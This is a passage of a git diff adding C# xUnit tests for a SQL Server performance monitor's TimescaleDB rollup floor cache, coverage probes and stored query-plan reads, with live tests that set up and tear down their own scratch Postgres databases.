+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        return await ScalarInstantAsync(connection, $"SELECT min(bucket) FROM collect.{HourlyView}", ct);
+    }
+
+    private static async Task<string?> OldestChunkAsync(string connectionString, CancellationToken ct)
+        => (await OldestChunkWithRangeEndAsync(connectionString, ct)).ChunkName;
+
+    private static async Task<(string? ChunkName, DateTime RangeEnd)> OldestChunkWithRangeEndAsync(string connectionString, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        return await OldestMaterializationChunkAsync(connection, HourlyView, ct);
+    }
+
+    private static async Task DeleteMaterializedBucketsBeforeAsync(string connectionString, DateTime before, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await using var find = new NpgsqlCommand($@"
+SELECT format('%I.%I', materialization_hypertable_schema, materialization_hypertable_name)
+FROM timescaledb_information.continuous_aggregates
+WHERE view_schema = 'collect' AND view_name = '{HourlyView}'", connection);
+        var table = (string)(await find.ExecuteScalarAsync(ct))!;
+
+        await using var delete = new NpgsqlCommand($"DELETE FROM {table} WHERE bucket < $1", connection);
+        delete.Parameters.AddWithValue(before);
+        await delete.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DropChunksOlderThanAsync(string connectionString, DateTime olderThan, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await using var drop = new NpgsqlCommand($"SELECT drop_chunks('collect.{HourlyView}', older_than => $1::timestamp)", connection);
+        drop.Parameters.AddWithValue(olderThan);
+        await drop.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task RecreateDatabaseAsync(string baseConnectionString, string databaseName, CancellationToken ct)
+    {
+        /* #5549: unpooled, because this connection runs the drop and the create after it. */
+        await using var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(baseConnectionString));
+        await admin.OpenAsync(ct);
+        /* No TimescaleDB job worker is left in the database the FORCE drop below kills (#5480). */
+        await ScratchPostgres.QuiesceTimescaleJobsAsync(baseConnectionString, databaseName);
+        await using (var drop = new NpgsqlCommand($"DROP DATABASE \"{databaseName}\" WITH (FORCE)", admin))
+        {
+            await drop.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var create = new NpgsqlCommand($"CREATE DATABASE \"{databaseName}\"", admin);
+        await create.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Calls coverage with the same wall clock until the hourly rollup's floor reads
+    /// <paramref name="expected"/> (a background re-measure has landed) or thirty seconds pass.</summary>
+    private static async Task<RollupCoverage> PollForFloorAsync(
+        NpgsqlDataSource dataSource, RollupAvailability availability, DateTime now, DateTime? expected, CancellationToken ct)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(30);
+        while (true)
+        {
+            var coverage = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, now, ct);
+            if (coverage.FloorOf(HourlyView) == expected || DateTime.UtcNow > deadline)
+            {
+                return coverage;
+            }
+
+            await Task.Delay(50, ct);
+        }
+    }
+
     private static async Task SeedHourlyQueryStoreStatsAsync(
         NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken cancellationToken)
     {
diff --git a/Darling/Darling.Tests/RollupFloorCacheTests.cs b/Darling/Darling.Tests/RollupFloorCacheTests.cs
index 8bd7bd0d2b..741e78b89d 100644
--- a/Darling/Darling.Tests/RollupFloorCacheTests.cs
+++ b/Darling/Darling.Tests/RollupFloorCacheTests.cs
@@ -344,7 +344,7 @@ public void RollupCoverageProbeSql_TwoArgument_NamesOnlyTheMeasuredViews()
 
         var sql = TimescaleSupport.RollupCoverageProbeSql(RollupAvailability.All, measure);
 
-        Assert.Contains($"(SELECT min(bucket) FROM collect.{TimescaleSupport.QueryStoreStatsHourlyView})", sql, StringComparison.Ordinal);
+        Assert.Contains($"(SELECT {TimescaleSupport.ColdFloorMarker} min(bucket) FROM collect.{TimescaleSupport.QueryStoreStatsHourlyView})", sql, StringComparison.Ordinal);
         Assert.DoesNotContain($"collect.{TimescaleSupport.QueryStatsHourlyView})", sql, StringComparison.Ordinal);
 
         /* Column count is unchanged — a non-measured present view still contributes a placeholder column,
@@ -371,7 +371,7 @@ public void RollupCoverageProbeSql_OneArgumentForm_MatchesTodaysLiteralOutputFor
         /* A literal copy of today's (pre-#4539) output for RollupAvailability.All, so a change to this
            overload's SHAPE (not just its selectivity) cannot slip through unnoticed. */
         var expected = "SELECT " + string.Join(", ", TimescaleSupport.RollupViews
-                .Select(r => $"(SELECT min(bucket) FROM collect.{r.View})")
+                .Select(r => $"(SELECT /* coverage-floor:cold */ min(bucket) FROM collect.{r.View})")
                 .Concat(TimescaleSupport.RolledRawTables.Select(t => $"(SELECT min(collection_time) FROM collect.{t})")));
 
         Assert.Equal(expected, TimescaleSupport.RollupCoverageProbeSql(RollupAvailability.All), StringComparer.Ordinal);
@@ -405,4 +405,74 @@ oldest chunk's name — this SQL is the source of that column. */
         Assert.Contains("materialization_hypertable_schema", sql, StringComparison.Ordinal);
         Assert.Contains("materialization_hypertable_name", sql, StringComparison.Ordinal);
     }
+
+    /* ─────────── #5329: a reused floor is still asked whether anything is earlier ─────────── */
+
+    [Fact]
+    public void RollupViewsToCheckForAnEarlierFloor_AReusedView_IsACandidate()
+    {
+        var view = TimescaleSupport.QueryStatsIoHourlyView;
+        var cached = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal) { [view] = Entry("_hyper_1_1_chunk", SomeFloor) };
+        var oldestNow = new Dictionary<string, TimescaleSupport.RollupChunkIdentity>(StringComparer.Ordinal) { [view] = new("_hyper_1_1_chunk", SomeHypertable) };
+
+        var views = TimescaleSupport.RollupViewsToCheckForAnEarlierFloor(
+            cached, oldestNow, RollupAvailability.All, new HashSet<string>(StringComparer.Ordinal), deferred: null);
+
+        Assert.Equal(new[] { view }, views);
+    }
+
+    [Fact]
+    public void RollupViewsToCheckForAnEarlierFloor_AViewBeingMeasuredADeferredViewAnUncachedViewAndAChangedChunk_AreNotCandidates()
+    {
+        var measured = TimescaleSupport.QueryStatsIoHourlyView;
+        var deferred = TimescaleSupport.ProcedureStatsIoHourlyView;
+        var uncached = TimescaleSupport.QueryStoreStatsHourlyView;
+        var changed = TimescaleSupport.QueryStatsHourlyView;
+        var cached = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal)
+        {
+            [measured] = Entry("_hyper_1_1_chunk", SomeFloor),
+            [deferred] = Entry("_hyper_1_1_chunk", SomeFloor),
+            [changed] = Entry("_hyper_1_1_chunk", SomeFloor),
+        };
+        var oldestNow = new Dictionary<string, TimescaleSupport.RollupChunkIdentity>(StringComparer.Ordinal)
+        {
+            [measured] = new("_hyper_1_1_chunk", SomeHypertable),
+            [deferred] = new("_hyper_1_1_chunk", SomeHypertable),
+            [uncached] = new("_hyper_1_1_chunk", SomeHypertable),
+            [changed] = new("_hyper_1_2_chunk", SomeHypertable),
+        };
+
+        var views = TimescaleSupport.RollupViewsToCheckForAnEarlierFloor(
+            cached, oldestNow, RollupAvailability.All,
+            new HashSet<string>(new[] { measured }, StringComparer.Ordinal),
+            new HashSet<string>(new[] { deferred }, StringComparer.Ordinal));
+
+        Assert.Empty(views);
+    }
+
+    [Fact]
+    public void RollupViewsToCheckForAnEarlierFloor_AViewTheStoreLacks_IsNotACandidate()
+    {
+        var view = TimescaleSupport.QueryStatsIoHourlyView;
+        var cached = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal) { [view] = Entry("_hyper_1_1_chunk", SomeFloor) };
+        var oldestNow = new Dictionary<string, TimescaleSupport.RollupChunkIdentity>(StringComparer.Ordinal) { [view] = new("_hyper_1_1_chunk", SomeHypertable) };
+
+        var views = TimescaleSupport.RollupViewsToCheckForAnEarlierFloor(
+            cached, oldestNow, RollupAvailability.None, new HashSet<string>(StringComparer.Ordinal), deferred: null);
+
+        Assert.Empty(views);
+    }
+
+    [Fact]
+    public void RollupEarlierFloorProbeSql_IsABoundedReadPerView_AndNeverTheColdMinBucketStatement()
+    {
+        var sql = TimescaleSupport.RollupEarlierFloorProbeSql(new[] { TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView });
+
+        Assert.Contains($"FROM collect.{TimescaleSupport.QueryStatsIoHourlyView} AS m WHERE m.bucket < $1::timestamp", sql, StringComparison.Ordinal);
+        Assert.Contains($"FROM collect.{TimescaleSupport.ProcedureStatsIoHourlyView} AS m WHERE m.bucket < $2::timestamp", sql, StringComparison.Ordinal);
+        /* The floor-cache live tests count the markers (ColdFloorMarker for the cold sort, EarlierFloorMarker for this bounded
+           read) to prove the cold sort is not re-run; the bounded read carries the earlier marker and never the cold one. */
+        Assert.DoesNotContain(TimescaleSupport.ColdFloorMarker, sql, StringComparison.Ordinal);
+        Assert.Contains(TimescaleSupport.EarlierFloorMarker, sql, StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/RollupFloorStoreCacheTests.cs b/Darling/Darling.Tests/RollupFloorStoreCacheTests.cs
new file mode 100644
index 0000000000..5f89c71034
--- /dev/null
+++ b/Darling/Darling.Tests/RollupFloorStoreCacheTests.cs
@@ -0,0 +1,213 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4957, with no database: the pure halves of the per-store rollup floor cache — which store a data source belongs
+/// to, which views a cycle measures inline versus in the background, and how a cycle's result is written back.
+/// The end-to-end behavior is in <c>RollupFloorCacheLiveTests</c>.
+/// </summary>
+public sealed class RollupFloorStoreCacheTests
+{
+    private const string View = TimescaleSupport.QueryStoreStatsIntervalHourlyView;
+    private static readonly DateTime Now = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime Floor = Now.AddDays(-30);
+
+    private static string KeyOf(string connectionString)
+    {
+        using var dataSource = NpgsqlDataSource.Create(connectionString);
+        return TimescaleSupport.RollupStoreKey(dataSource);
+    }
+
+    [Fact]
+    public void RollupStoreKey_IsTheSameForAnyUserPasswordOrSessionOption_OnOneHostPortAndDatabase()
+    {
+        var first = KeyOf("Host=Store-A;Port=5432;Username=owner;Password=one;Database=darling");
+        var second = KeyOf("Host=store-a;Port=5432;Username=mcp;Password=two;Database=darling;Options=-c TimeZone=UTC");
+
+        Assert.Equal(first, second);
+    }
+
+    [Theory]
+    [InlineData("Host=store-b;Port=5432;Username=owner;Database=darling")]
+    [InlineData("Host=store-a;Port=5433;Username=owner;Database=darling")]
+    [InlineData("Host=store-a;Port=5432;Username=owner;Database=darling_other")]
+    public void RollupStoreKey_DiffersWhenTheHostPortOrDatabaseDiffers(string other)
+    {
+        Assert.NotEqual(KeyOf("Host=store-a;Port=5432;Username=owner;Database=darling"), KeyOf(other));
+    }
+
+    private static TimescaleSupport.RollupFloorCacheEntry Entry(DateTime measuredAt, long oid = 7)
+        => new("chunk_1", "hyper_1", Floor, measuredAt, Ceiling: null, DatabaseOid: oid);
+
+    private static TimescaleSupport.RollupFloorPlan Plan(
+        TimescaleSupport.RollupFloorCacheEntry? entry, long oidNow = 7, string chunkNow = "chunk_1", string hypertableNow = "hyper_1")
+    {
+        var cached = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal);
+        if (entry is { } e)
+        {
+            cached[View] = e;
+        }
+
+        var oldestNow = new Dictionary<string, TimescaleSupport.RollupChunkIdentity>(StringComparer.Ordinal)
+        {
+            [View] = new(chunkNow, hypertableNow, oidNow),
+        };
+
+        return TimescaleSupport.PlanRollupFloorMeasurements(cached, oldestNow, RollupAvailability.All, Now);
+    }
+
+    [Fact]
+    public void Plan_AFloorPastTheHourWithItsIdentityUnchanged_IsDueInTheBackground_NotInline()
+    {
+        var plan = Plan(Entry(Now - TimescaleSupport.RollupFloorMaxReuse));
+
+        Assert.Empty(plan.Inline);
+        Assert.Contains(View, plan.Background);
+    }
+
+    [Fact]
+    public void Plan_AFreshFloorWithItsIdentityUnchanged_IsNeitherInlineNorDue()
+    {
+        var plan = Plan(Entry(Now - TimeSpan.FromMinutes(5)));
+
+        Assert.Empty(plan.Inline);
+        Assert.Empty(plan.Background);
+    }
+
+    [Fact]
+    public void Plan_NoEntryYet_IsInline()
+    {
+        var plan = Plan(entry: null);
+
+        Assert.Contains(View, plan.Inline);
+        Assert.Empty(plan.Background);
+    }
+
+    [Fact]
+    public void Plan_ADifferentDatabaseOid_IsInline_EvenWhenTheEntryIsPastTheHour()
+    {
+        var plan = Plan(Entry(Now - TimescaleSupport.RollupFloorMaxReuse - TimeSpan.FromMinutes(5), oid: 7), oidNow: 8);
+
+        Assert.Contains(View, plan.Inline);
+        Assert.Empty(plan.Background);
+    }
+
+    /* The second threshold. Between the reuse window and twice the window a floor is served from the cache and
+       re-measured once in the background (the tests above). At twice the window it is measured inline again, so no
+       floor is served older than that, whether or not callers kept arriving. */
+    [Fact]
+    public void ServeCap_IsTwiceTheReuseWindow()
+    {
+        Assert.Equal(TimescaleSupport.RollupFloorMaxReuse * 2, TimescaleSupport.RollupFloorMaxServeAge);
+        Assert.True(TimescaleSupport.RollupFloorMaxServeAge > TimescaleSupport.RollupFloorMaxReuse);
+    }
+
+    [Fact]
+    public void Plan_AFloorJustUnderTheServeCap_WithItsIdentityUnchanged_IsStillServed_AndDueInTheBackground()
+    {
+        var plan = Plan(Entry(Now - TimescaleSupport.RollupFloorMaxServeAge + TimeSpan.FromMinutes(1)));
+
+        Assert.Empty(plan.Inline);
+        Assert.Contains(View, plan.Background);
+    }
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(1)]
+    [InlineData(60 * 24 * 30)]
+    public void Plan_AFloorAtOrPastTheServeCap_WithItsIdentityUnchanged_IsInline_NotServedFromTheCache(int minutesPast)
+    {
+        var plan = Plan(Entry(Now - TimescaleSupport.RollupFloorMaxServeAge - TimeSpan.FromMinutes(minutesPast)));
+
+        Assert.Contains(View, plan.Inline);
+        Assert.Empty(plan.Background);
+    }
+
+    [Theory]
+    [InlineData(5)]
+    [InlineData(61)]
+    [InlineData(121)]
+    [InlineData(60 * 24 * 30)]
+    public void Plan_AChangedChunkHypertableOrDatabase_IsInline_AtAnyAge(int ageMinutes)
+    {
+        var measuredAt = Now - TimeSpan.FromMinutes(ageMinutes);
+
+        foreach (var plan in new[]
+        {
+            Plan(Entry(measuredAt), chunkNow: "chunk_2"),
+            Plan(Entry(measuredAt), hypertableNow: "hyper_2"),
+            Plan(Entry(measuredAt), oidNow: 8),
+        })
+        {
+            Assert.Contains(View, plan.Inline);
+            Assert.Empty(plan.Background);
+        }
+    }
+
+    [Fact]
+    public void Plan_RollupFloorsToMeasure_IsTheUnionOfBoth()
+    {
+        var cached = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal)
+        {
+            [View] = Entry(Now - TimescaleSupport.RollupFloorMaxReuse),
+        };
+        var oldestNow = new Dictionary<string, TimescaleSupport.RollupChunkIdentity>(StringComparer.Ordinal)
+        {
+            [View] = new("chunk_1", "hyper_1", 7),
+        };
+
+        Assert.Contains(View, TimescaleSupport.RollupFloorsToMeasure(cached, oldestNow, RollupAvailability.All, Now));
+    }
+
+    [Fact]
+    public void Apply_ReplacesWhatThisCycleMeasured_DropsAnEmptyView_AndLeavesTheRestAsTheCacheHoldsThemNow()
+    {
+        var other = TimescaleSupport.QueryStoreStatsHourlyView;
+        var newerThanTheCycleSnapshot = Entry(Now);
+        var cache = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal)
+        {
+            [View] = Entry(Now.AddHours(-2)),
+            [other] = newerThanTheCycleSnapshot,
+        };
+        var measured = new Dictionary<string, DateTime?>(StringComparer.Ordinal) { [View] = null };
+        var newEntries = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal)
+        {
+            [other] = Entry(Now.AddHours(-5)),
+        };
+
+        TimescaleSupport.ApplyRollupFloorMeasurements(cache, measured, newEntries, RollupAvailability.All);
+
+        Assert.False(cache.ContainsKey(View));
+        Assert.Equal(newerThanTheCycleSnapshot, cache[other]);
+    }
+
+    [Fact]
+    public void Apply_DropsAViewWhoseRollupIsGone()
+    {
+        var cache = new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal)
+        {
+            [View] = Entry(Now),
+        };
+
+        TimescaleSupport.ApplyRollupFloorMeasurements(
+            cache,
+            new Dictionary<string, DateTime?>(StringComparer.Ordinal),
+            new Dictionary<string, TimescaleSupport.RollupFloorCacheEntry>(StringComparer.Ordinal),
+            RollupAvailability.None);
+
+        Assert.Empty(cache);
+    }
+}
diff --git a/Darling/Darling.Tests/RollupIoFloorFillLiveTests.cs b/Darling/Darling.Tests/RollupIoFloorFillLiveTests.cs
new file mode 100644
index 0000000000..d6177c54a2
--- /dev/null
+++ b/Darling/Darling.Tests/RollupIoFloorFillLiveTests.cs
@@ -0,0 +1,125 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Tests;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the test mints its own scratch database, because it materializes continuous aggregates and stops the
+   scheduler, which no other class sharing the store may see. */
+/// <summary>
+/// #5329: the rollup floor cache sees an io rollup filled in place. A new io hourly rollup is filled recent hours first
+/// by the refresh policy and the earlier hours later, usually into the materialization chunk the floor cache already
+/// keys on, so neither the chunk name nor the hypertable moves. The cache used to keep the later floor until the hour
+/// was up, so <see cref="ViewerDataService.IoHourlyCoversWindow"/> stayed false and Top Queries stayed on the partial
+/// route. After the fix the next coverage probe reports the earlier floor.
+/// </summary>
+public sealed class RollupIoFloorFillLiveTests
+{
+    private const int ServerId = -953291;
+    private const string ServerName = "a5329-io-floor-fill";
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public async Task AnIoRollupFilledEarlierInsideItsOldestChunk_IsSeenByTheNextProbe_AndTheRouteBecomesCovering()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5329 io floor fill test (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live #5329 io floor fill test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var io = TimescaleSupport.QueryStatsIoHourlyView;
+            var late = WindowStart.AddHours(8);
+
+            /* Raw rows for an early window and a late one, eight hours apart (the seed is four hourly buckets each). */
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, late);
+
+            /* The refresh policy's first fill: the late hours only. The floor is inside the oldest chunk. */
+            await RefreshAsync(connection, io, late, late.AddHours(5), ct);
+            var chunkBefore = await OldestChunkAsync(connection, io, ct);
+
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var availability = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+            Assert.True(availability.Has(io));
+
+            var partial = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, ct);
+            Assert.Equal(late, partial.FloorOf(io));
+            Assert.False(ViewerDataService.IoHourlyCoversWindow(availability, partial, io, WindowStart),
+                "while only the late hours are materialized the io route must stay on the partial route");
+
+            /* The later fill: the early hours, into the same chunk. */
+            await RefreshAsync(connection, io, WindowStart, WindowStart.AddHours(5), ct);
+            Assert.Equal(chunkBefore, await OldestChunkAsync(connection, io, ct));
+
+            var covering = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, ct);
+            Assert.Equal(WindowStart, covering.FloorOf(io));
+            Assert.True(ViewerDataService.IoHourlyCoversWindow(availability, covering, io, WindowStart),
+                "after the early hours are materialized the next probe must route to the io rollup");
+
+            /* A probe with nothing new keeps the floor. */
+            var again = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, ct);
+            Assert.Equal(WindowStart, again.FloorOf(io));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, DateTime to, System.Threading.CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string?> OldestChunkAsync(NpgsqlConnection connection, string view, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+SELECT c.chunk_name
+FROM timescaledb_information.continuous_aggregates AS ca
+JOIN timescaledb_information.chunks AS c
+  ON c.hypertable_schema = ca.materialization_hypertable_schema AND c.hypertable_name = ca.materialization_hypertable_name
+WHERE ca.view_schema = 'collect' AND ca.view_name = $1
+ORDER BY c.range_start
+LIMIT 1", connection);
+        command.Parameters.AddWithValue(view);
+        return (string?)await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/RollupTileDescriptionTests.cs b/Darling/Darling.Tests/RollupTileDescriptionTests.cs
index 34e283a726..6cd57f6074 100644
--- a/Darling/Darling.Tests/RollupTileDescriptionTests.cs
+++ b/Darling/Darling.Tests/RollupTileDescriptionTests.cs
@@ -158,7 +158,7 @@ public void TheAgNumbers_DescribeThemselvesWithTheirLabelsId()
         Assert.Contains(
             @"el(""div"", { class: ""num"", text: fmtInt(num), ""aria-describedby"": lblId })",
             ag, StringComparison.Ordinal);
-        Assert.Contains(@"el(""div"", { class: ""lbl"", id: lblId, text: lbl })", ag, StringComparison.Ordinal);
+        Assert.Contains(@"el(""div"", { class: ""lbl"", id: lblId, text: countLabel(num, lbl) })", ag, StringComparison.Ordinal);
 
         /* The scope decision, pinned. The fleet tile takes a sub-line and a title because that rollup
            qualifies one of its numbers with coverage and hovers a long note; these three counts qualify
diff --git a/Darling/Darling.Tests/RollupWindowEndBoundTests.cs b/Darling/Darling.Tests/RollupWindowEndBoundTests.cs
index 92401db479..09203e1a72 100644
--- a/Darling/Darling.Tests/RollupWindowEndBoundTests.cs
+++ b/Darling/Darling.Tests/RollupWindowEndBoundTests.cs
@@ -194,13 +194,17 @@ public void ComposeRawRoute_KeepsTheInclusiveEndOnItsRawTimeColumn()
         Assert.DoesNotContain("f.collection_time < $2", compiled.Sql, StringComparison.Ordinal);
     }
 
-    /* The three first-bucket probes are NOT part of the change: they only locate the first bucket the window
-       holds (where the served span starts), and a bucket at the very end can be that first bucket only when the
-       window holds no other, in which case the read returns no rows either way. */
+    /* #5329: the first-bucket probes take the grids' exclusive end. They once kept `<=` (a bucket at the very end can be the
+       first bucket only when the window holds no other, and then the read returned no rows either way). That reason no
+       longer holds: the probe's answer now names the start of the grid in the window-edges note and the viewer banner, so
+       a server whose only bucket begins AT an hour-aligned end would be told a start for a grid that read nothing. */
     [Fact]
-    public void FirstBucketProbes_AreUnchanged()
+    public void FirstBucketProbes_StopBeforeTheWindowEnd_LikeTheGrids()
     {
-        Assert.Contains("f.bucket <= $3$CEIL$", DarlingDataReader.HourlyFirstBucketSql, StringComparison.Ordinal);
-        Assert.Contains("f.bucket <= $3$CEIL$", DarlingDataReader.HourlyFirstBucketSingleRelationSql, StringComparison.Ordinal);
+        foreach (var sql in new[] { RollupCoverage.HourlyFirstBucketSql, RollupCoverage.HourlyFirstBucketSingleRelationSql })
+        {
+            Assert.Contains("f.bucket < $3$CEIL$", sql, StringComparison.Ordinal);
+            Assert.False(Regex.IsMatch(sql, @"\bbucket\s*<="), "a `bucket <=` bound is back in a first-bucket probe.");
+        }
     }
 }
diff --git a/Darling/Darling.Tests/RowPlanReadLivePostgresTests.cs b/Darling/Darling.Tests/RowPlanReadLivePostgresTests.cs
new file mode 100644
index 0000000000..3e667a995d
--- /dev/null
+++ b/Darling/Darling.Tests/RowPlanReadLivePostgresTests.cs
@@ -0,0 +1,750 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5228: the three row-keyed plan reads the web grids call (get_active_query_plan_xml,
+/// get_query_store_plan_xml, get_procedure_plan_xml) return the EXACT stored XML for the row's own key and
+/// answer <c>unavailable</c> on a key that matches nothing. The Active Queries read is keyed by the row's
+/// natural key, so its collection_time must survive the trip through <c>ToString("o")</c> with the
+/// microseconds Postgres keeps, and a snapshot row collected with no request_id must answer to request_id 0.
+/// Query Store plans are seeded through the inline <c>query_plan_text</c> column. Fixed anchors only.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class RowPlanReadLivePostgresTests
+{
+    private const string ServerName = "darling-row-plan-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    /// <summary>A second registered server for the cross-server proof. Its name is not a substring of
+    /// <see cref="ServerName"/> (or the reverse), so neither can resolve as the other's partial match.</summary>
+    private const string OtherServerName = "darling-twin-plan-e2e";
+    private static readonly int OtherServerId = ServerIdHelper.GetDeterministicHashCode(OtherServerName);
+
+    private const string Db = "RowPlanDb";
+    private const string SqlHandle = "0xA0B1C2D3E4F50617";
+
+    /// <summary>Fixed anchor with a non-zero microsecond part (123456 us), naive UTC as the store keeps it.</summary>
+    private static readonly DateTime Anchor = new DateTime(2026, 3, 4, 5, 6, 7, DateTimeKind.Unspecified).AddTicks(1_234_560);
+
+    private static string PlanXml(string marker) =>
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.539\">" +
+        $"<BatchSequence><Batch><Statements><StmtSimple StatementText=\"SELECT '{marker}'\" StatementId=\"1\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string StatusOf(string json)
+    {
+        using var doc = JsonDocument.Parse(json);
+        return doc.RootElement.GetProperty("status").GetString()!;
+    }
+
+    /// <summary>The answer's message, decoded (the JSON writer escapes an apostrophe, so a raw substring test would miss one).</summary>
+    private static string MessageOf(string json)
+    {
+        using var doc = JsonDocument.Parse(json);
+        return doc.RootElement.GetProperty("message").GetString()!;
+    }
+
+    [Fact]
+    public async Task EachRowPlanTool_ReturnsTheExactStoredXml_AndUnavailableOnAWrongKey()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live row-plan test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            var estimated = PlanXml("estimated");
+            var live = PlanXml("live");
+            var noRequest = PlanXml("no-request-id");
+            var queryStore = PlanXml("query-store");
+            var procedure = PlanXml("procedure");
+
+            await InsertSnapshotAsync(connection, Anchor, 51, 3, estimated, live, ct);
+            await InsertSnapshotAsync(connection, Anchor, 52, null, noRequest, null, ct);
+            await InsertQueryStoreAsync(connection, Anchor, 4242, 7, queryStore, ct);
+            await InsertProcedureAsync(connection, Anchor, procedure, ct);
+
+            /* ---- get_active_query_plan_xml: the collection_time the grid hands back is Anchor.ToString("o"). */
+            var key = Anchor.ToString("o", CultureInfo.InvariantCulture);
